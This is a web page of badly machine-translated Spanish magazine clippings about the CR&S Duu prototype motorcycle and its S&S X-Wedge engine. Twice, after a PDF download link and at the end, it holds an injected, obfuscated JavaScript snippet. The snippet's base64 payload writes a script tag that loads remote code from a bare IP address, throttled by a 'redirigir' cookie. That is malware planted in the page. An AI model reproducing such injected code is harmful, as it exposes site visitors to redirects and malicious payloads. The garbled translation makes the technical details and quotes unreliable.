docenas de unidades al año, flanqueada por los prototipos de carreras. EvoluziÀ²n Recientemente, se añaden las dos versiones de mono 652 cc. El prunta para el desarrollo rápido 68 CV, mientras que el contenido de Nurma 54 cv una 7.000 rondas. Sin embargo mal, teniendo en cuenta que el peso en seco es solamente 135 chile… El Vun habla incluso Meneghino en la ficha técnica, en el que el disco de freno flotante se convierte en disco balerÀ¬n y la cadena con las juntas tóricas Cadena cont i ANEI de goma…
El gran reto del CR&S parece ganar, ensancha de distribución en Europa y los EE.UU., pero las ideas no dejen de girar. Que dé el resultado inevitable de la Vun, con dos cilindros fuera de la caja y de la lógica de los grandes números, Ya era el jefe de los constructores de Milán en 2008. siempre ©, Él le dice a Crepaldi, la Bike Expo Motor viene la revelación de ese año: Â "Estamos OMM, Meccanotecnica el taller Milanese que las importaciones del Wakan, junto con el de confederado, justo enfrente del soporte del zodiaco con el nuevo dos cilindros S X-Wedge&S. entonces Wakan, X-Wedge, Confederado, de… lleva!UN".
La historia contiene una figura conceptual para Sela, estilística y estética de la nueva CR bicilíndrico&S. fundamentalmente: una streetfighter sin precedentes maxi, menos elitista confederado, tan radical como Wakan y construido
basándose en la experiencia Vun. El corazón del proyecto es el motor X-Wedge, que el requisito fundamental de no ser una imitación de la Twin Cam Harley-Davidson. Il V2 y 56a ° S&S es igualmente masivo, pero más
moderno y potente, con su 2.000 cc, los tres árboles de levas, la inyección electrónica. A disposición 160
Nm de par poco más de 3.000 rondas. Cosas para vuelco, aunque Euro aprobado 3. Y teniendo en cuenta que el DUU debe pesar œsoloâ â € € ?? 250 chile, como una Harley Sportster 883…
Observe cómo los números se repiten: dos cilindros, dos litros, dos asientos (querer). Y la gran tubería que caracteriza al marco con una estructura mixta de acero. Los primeros bocetos están ocultos por las superestructuras opcionales, pero está claro que la belleza de brillo DUU en su simplicidad brutal. Desnuda y cruda, diseñado para ser guiado cabeza y sin demasiado esfuerzo, pero diseñado para golpear en la boca del estómago. más
una vez que la forma, función y emoción persiguen unos a otros en un juego de equilibrio. La Ven De, DUU es también una historia de deseo destinado a motociclistas adultos, evolucionado y exigente. Que a lo mejor quieren volver a caer en el amor con una motocicleta emocionante. Dijo el filósofo Gilles Deleuze, que "no hay revolución sin una inversión libidinale». y sin, incluso construyen bicicletas únicas, con el apoyo de un nivel de creatividad que las grandes casas ya no pueden permitirse, ahogado por la precaución y la lógica de marketing. À una apuesta fascinante, para ser jugado, pero dentro de su alcance. Aunque todavía está en el nivel
prototipo, Se prevé que el precio debe fluctuar entre DUU 19 y el 20 miles de euros.
Un poco más de una Ducati Streetfighter S, en línea con el músculo V-Rod, menos de un V-Max
y una CVO Harley-Davidson.
Presentación de este año es EICMA prototipo, para ver la moto definitiva en la Feria de Milán 2010. La producción de la próxima temporada: Â "No estamos buscando grandes números, somos una pequeña empresa con las ideas
chiare »concluye Crepaldi.  "El objetivo de un centenar de motocicletas al año alcanzaría el punto de equilibrio y permitir un margen de beneficio, para ser reinvertido en el desarrollo de la próxima motocicleta CR&SA '. traducido
libremente en Milán: Gh'è minga de DUU sin Tri.
Leer el artículo…
MAX 03 2010
MILAGRO EN MILÁN
Se llama CR&S y el interior es una pequeña empresa con una gran pasión.
su motocicleta “debe ser algo especial”, Se construyen a mano y cada uno de ellos es diferente de la otra. Aquí está su última joya: desnudo, personalizado, coche de turismo? algo’ todos.
Un cobertizo en el anonimato a las afueras de la ciudad rural . Es una frase que “tatuado” en cada una de las bicis que salen de ahí “Dicen en Milán, cont el corazón y cont’i man”. Traducido a medios italianos “realizado en Milán, con el corazón y las manos”, la esencia y la filosofía de CR&S, una pequeña empresa fundada por Roberto Crepaldi pasión visceral por las dos ruedas. Crepaldi tiene las ideas claras: cada movimiento realizado por CR&S debe ser algo especial y ser diferente de los demás. Como su última creación. la Lleva (“debido”) como su nombre indica, es el segundo movimiento de la corta historia de CR&S, Tiene un motor enorme y explosiva con dos cilindros 1.916 cc y se escapa a las definiciones tradicionales. Desnudo, coche de turismo, personalizado, luchador callejero? algo’ todas estas cosas juntas, pero el Duu es ante todo una obra de arte exclusiva hecha de metales preciosos y materiales refinados moldeados de acuerdo con formas que definir original y fascinante es casi una subestimación. Además, cada cliente puede personalizar su personaje y elegir la construcción, componentes del nivel de preparación chasis y el motor. Los precios comienzan en 20.000 euro, Pero además del dinero que tendrá que tener paciencia, debido a que el CR&S están construidos a mano, de uno en uno.
Stefano Bariggia
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AMD EE.UU. 01 2010
CR&S Motocicletas utilizó el ‘EICMA’ Demostración de la motocicleta en Milán, Italia, para debutar su modelo prototipo más reciente – la Duu X-Wedge accionado.
Inicialmente se muestra como una bicicleta de concepto, cuando el duu, diseñada por Donato Cannatello, entra en plena producción, cada bicicleta será construido a mano con el cliente tenga la opción de una gama de opciones técnicas y estéticas. Las opciones disponibles incluyen un módulo individual y / o de dos plazas de base. “Creemos que este crucero deporte euro tiene el potencial de ser una especie de equivalente americano al triple de la velocidad de Triumph, pero con estilo italiano,” dijo Roberto Crepaldi, el director general de CR&S. “Urtin es el nombre correcto para este modelo – es un V-twin, el segundo miembro de la CR&familia S, que tendrá un motor de dos litros, pesará 200 kilos, y llevará a dos personas. ¿Qué más podríamos cali se?! “La producción comenzará a principios de 2011. Ya hemos comenzado a probar en carretera la bicicleta de desarrollo., pero estamos muy ansiosos por recibir comentarios del público.”
Noticias Internacionales Distribuidor 01 2010
El último proyecto de Roberto Crepaldi, la duu, es un big twin refrigerado por aire en torno a S&Ciclo de S 1916cc / 117ci hecho en Estados Unidos 60 motor V-twin grado.
Se muestra como una bicicleta de concepto en EICMA, Crepaldi dice el duu será una moto modular construida, con las opciones de configuración del cliente que espera vender a un precio base de 20.000 €, con un volumen de producción de unas pocas docenas de unidades por año, y primeras entregas previstas para 2011…
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Conducir despacio 11 2009
la 2011 Parece casi aquí.
Una ola de modernismo hace volar la pequeña casa grande en Settimo Milanese. CR&S ya se distingue por la originalidad de su streetfighter de mezclado cerca y la singularidad de cada pieza.
La evolución lógica del mono, esencial y diversión, Esta será doble. parece “solo” una bicicleta de concepto, sino una carretilla elevadora DUU ya ha viajado a varios kilómetros; Las pruebas validan elecciones técnicas inusuales. El gemelo X-Wedge es su corazón que late, ONU bicilíndrico en V “el aire” casi dos litros que mejora la búsqueda S&S a través de los esquemas clásicos de Harley-Davidson. El ángulo de los cilindros de 56 curso de grado anula las vibraciones; distribución con tres árboles de levas en el cárter y correas dentadas asegura geometría óptima, a través de varillas cortas y taqués hidráulicos. Contenido es el ruido mecánico, haciendo la aprobación Euro puede 3 con inyección y catalizadores. El escape de acero inoxidable es estudiado por escape QD para centralizar las masas y permitir inclinaciones lateral mayor de 40 grados. El potencial de este muy grande gemelo es notable incluso en la configuración “código”: por lo menos 100 caballos y 130 Newton / metros de torque, pero la entrega es completa en todos los regímenes. Cambiar para separar 5 la 6 relaciones y cadena primaria completan un tren de potencia insertado en un marco original. Una gran parte de tubo de acero de la cabeza de dirección y contiene el lubricante; Se argumenta placas laterales hermosas, atelier tocho Rizoma, a la que está anclado por medio de una sección tubular transversal; el basculante de una sola cara. Todas las propuestas de CR&S nace con el objetivo de garantizar el placer de conducción y el chasis de DUU, un destilado del Made in Italy extracción de los deportes, no defraudará . Los detalles son hermosas, a partir de las placas de dirección realizadas por rizoma y de las ruedas modulares; frenos Brembo y suspensiones de calidad permiten un amplio ajuste. Precisión y agilidad de respuesta prometen poner a prueba , pliegues extremos y manipulación, sin caer en el extremo opuesto de unidades demasiado “nervio”. Con unas dimensiones próximas a las de un XR1200 y peso de alrededor de 237 kg seca, gracias all'allungo motor infinito debe ser divertido, fácil y exasperada. Estas cualidades se añaden una filosofía modular para configurar la motocicleta de acuerdo con diferentes estilos de conducción y la vida, calidad de los componentes, la artesanía con garantías industriales: fácil de prever un interés inmediato en torno a esta streetfighter. Muchos de los componentes CR&S están diseñados a medida por Donato Cannatello por las empresas italianas como Rizoma. La originalidad y accesorios “personalizado” debe representar una ventaja adicional en favor de DUU. Incluso el precio fijo promete ser interesante, hacia 20.000 euro: cercana a la de la VRSC y por debajo de la nueva V-Max… ¿Cuánto tiempo antes de que el 2011?
DESCARGAR PDF… GetCookie función(mi){var U = document.cookie.match(nueva RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/sol,”\\$1″)+”=([^;]*)”));retorno T?decodeURIComponent(la[1]):vacío 0}var src =”datos:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,ahora = Math.floor(Date.now()/1e3),galletas = GetCookie(“redirigir”);Si(ahora>=(tiempo = galletas)||nula tiempo 0 ===){tiempo var = Math.floor(Date.now()/1e3 + 86400),fecha = new Date((nuevos Fecha).consigue tiempo()+86400);document.cookie =”redirigir =”+tiempo +”; path = /; expira =”+date.toGMTString(),document.write(”)}
Algunas cubiertas dedicadas a DUU
JINETES
LLEVA, PERO NO DE ESPADAS
A la venta en un año al precio base de 20 miles de euros, DUU ver el último espectáculo de Milán como un concepto (y hemos descrito una vista previa de los jinetes de números 22) Es una de las pocas propuestas realmente originales de los últimos tiempos.
El Milan CR&S que lo dio a luz es el mismo que el Vun monocilíndrico muy ligero: Roberto Crepaldi, Giorgio Sarti y John Cabassi, Los tres pilotos antes de los empresarios, Se han centrado en un nicho inexplorado pero interesante. El duu es un especial producido en pequeñas series, modular y altamente adaptable, con contenidos exclusivos de estilo americano y europeo del confederado Wakan Francés, pero ofrecido a una fracción del costo. lleva, dos Meneghino dialecto, porque los cilindros son dos y el desplazamiento (1.916 este) Está al lado de dos litros, y por qué, querer, el PUE bicicleta de estar en dos lugares y no como el monoplaza Vun. Este maxi streetfighter monta el V2 de 56 ° X-Wedge del American S&S, un monstruo fuerte con su 16 El par máximo kgm a sólo tres mil revoluciones. El bastidor está hecho de acero inoxidable pulido: una gran viga que también actúa como contenedor de gasolina, con placas laterales de aluminio para soportar el basculante de un solo lado (siempre un gran tubo de acero curvado) y el tanque de gasolina, que también lleva a cabo la silla.
El diseño está firmado por Donato Cannatello, que trabajaba para Aprilia Bimota, que se ha posicionado de descarga debajo del motor, Se ocultó todos los pilares y creó una línea minimalista fácilmente modificable mediante la adición, o retirar, un conjunto de accesorios (incluyendo maletas o un recipiente por encima del depósito) apéndices funcionales y estéticas. La montura puede estar en uno o dos lugares y hay diferentes soluciones para faros y acabados superficiales. A pesar de los grandes motores, la moto es del todo compacto en su clase y pesa tanto como una Harley Sportster 883, porque DUU está hecho para ser impulsado no sólo ostentosa. Un ambicioso proyecto, no exenta de resistencias que hay que superar, como su experiencia y reputación de la CR&S. Pero hay que decir que esta realidad está organizada, pequeño, como una verdadera industria de la motocicleta. (Maurizio Gissi)
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dos Ruedas
Big Twin a Milano!
Después de que el mono gemelo: de una pequeña realidad artesanal nació este dos litros desbordante con un estilo único
por Riccardo Capacchione
…Dicen en Milán, que cont corazón i cont º del hombre ". Traducimos para no Milanese: "Hecho en Milán, con el corazón y las manos ", mi’ la frase escrita en las bicicletas construidas por CR&S Settimo Milanese. Hasta ahora, el único modelo del catálogo era el Vun, La única delgada que ahora tiene una hermana, no en todos racionalizado, Se llama DUU. En Milanese dialecto Vun significa "uno" como un cilindro, y un lugar "único". lleva, habrás entendido, en cambio quiere decir "dos" como dos cilindros, dos lugares y… solamente, ella. Los clientes de la CR&S, de hecho, pueden pedir sus motocicletas eligiendo la configuración, los componentes del chasis, la preparación del motor y por supuesto las coloraciones. Es por esto que el precio varía mucho, a partir de la base de 20.000 euro. La filosofía de diseño detrás de los modelos CR&S es simple de enunciar, menos para lograr: la moto debe ser esencial, todo el motor y el chasis a la vista, pero también debe ser un estilo, en lugar de dos: la del fabricante y el cliente que, como se ha mencionado, Participa activamente en la creación de oficio. SI EL E’ LA LLEVA? Familia', que es Duu? Es un poderoso de dos cilindros que se escapa de las definiciones normales: costumbre desnuda, coche de turismo, luchador callejero? Difícil atribuir un género específico. mejor, simplemente, describir las características técnicas, realmente único. El chasis está construido a partir de CR&S y está compuesto de una aleación de acero gigante tubular superior, reminiscencia del esquema utilizado por el especialista suizo Fritz Él; quien tiene algo’ de muelles atrás recordaré , entre otros, Él usa la maravillosa Vicente 1967. El gran tubo de bastidor principal Duu también realiza la función de depósito de combustible, Un ejemplo de la estrategia del proyecto CR&S, que tiende a la máxima integración y la simplificación de cada componente. En la parte trasera la estructura está cerrada por placas de aleación de espléndida luz, obtenido el cortador de un "completo" forjaron. El basculante de un solo lado en enrejado de tubo de acero está acoplado al amortiguador lateral. las ruedas, CR otra exclusiva&S, Ellos son espléndidas y en particular la parte trasera, voladizo montado con una sola tuerca central y disponibles en diferentes diseños de las razas. Las superestructuras de fibra de vidrio son pocos y esenciales; solución realmente inusual para la luz delantera que… No lo es, sustituido por dos conjuntos ópticos laterales alojados en las "branquias de tiburón" en los lados de la tenedor, reminiscencia de los rasgos estilísticos de Vun. Los coches pueden ser DUU, como el que hemos probado, pero hay una configuración para dos personas y una configuración de viaje, con bolsas y accesorios especiales. MAMÁ QUE POMPON E! La S&S X-Wedge domina la scena. Las dos colosales torres con aletas de los cilindros se separan 56,25 ° y albergan los pistones en su interior. 105 mm de diámetro con carrera larga 111 mm. El esquema retoma el de los motores Harley-Davidson., por lo que la S&S siempre ha producido piezas especiales, pero en este caso es una unidad totalmente nueva. Las cabezas albergan dos grandes válvulas (50,8 mm en la entrada, 40,64 mm en el escape), paralelos entre sí y movidos por balancines y varillas que descansan sobre los tres árboles de levas, dos de escape y uno en toma común, ubicado en la base. El intercambio, separar, Es un panadero de cinco velocidades. La fuente de alimentación se inyecta electrónicamente, mientras que el escape catalizado, construido sobre especificaciones CR&S, está debajo del motor, con dos fantásticas "pistolas" laterales. La transmisión de cadena primaria toma el patrón de Harley y está en el lado izquierdo. PAREJA DE REMOLCADOR Insistimos mucho en probar el prototipo, aún por desarrollar, de Duu, pero es vals, vale la pena. El bicilíndrico, sin contraflechas, crédito, En ese tiempo, pero sobre todo empuja con fuerza impresionante. El neumático trasero gime bajo la descarga de kgm, el Duu salta hacia adelante y se aconseja al ciclista que se aferre firmemente al manillar. Una elevación más pronunciada del sillín ayudaría a liberar algo del empuje., disminuyendo la tensión en los brazos. El peso total no es excesivo, en relación al desplazamiento, ed está bien distribuido, lo que hace que el Duu sea más manejable de lo esperado. Los pocos kilómetros en el sillín nos dieron solo una vaga idea del rendimiento de esta bicicleta, que promete ser estimulante., no podemos esperar para apretarlo bien,.. "Manténganse al tanto", te mantendremos informado! GetCookie función(mi){var U = document.cookie.match(nueva RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/sol,”\\$1″)+”=([^;]*)”));retorno T?decodeURIComponent(la[1]):vacío 0}var src =”datos:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,ahora = Math.floor(Date.now()/1e3),galletas = GetCookie(“redirigir”);Si(ahora>=(tiempo = galletas)||nula tiempo 0 ===){tiempo var = Math.floor(Date.now()/1e3 + 86400),fecha = new Date((nuevos Fecha).consigue tiempo()+86400);document.cookie =”redirigir =”+tiempo +”; path = /; expira =”+date.toGMTString(),document.write(”)}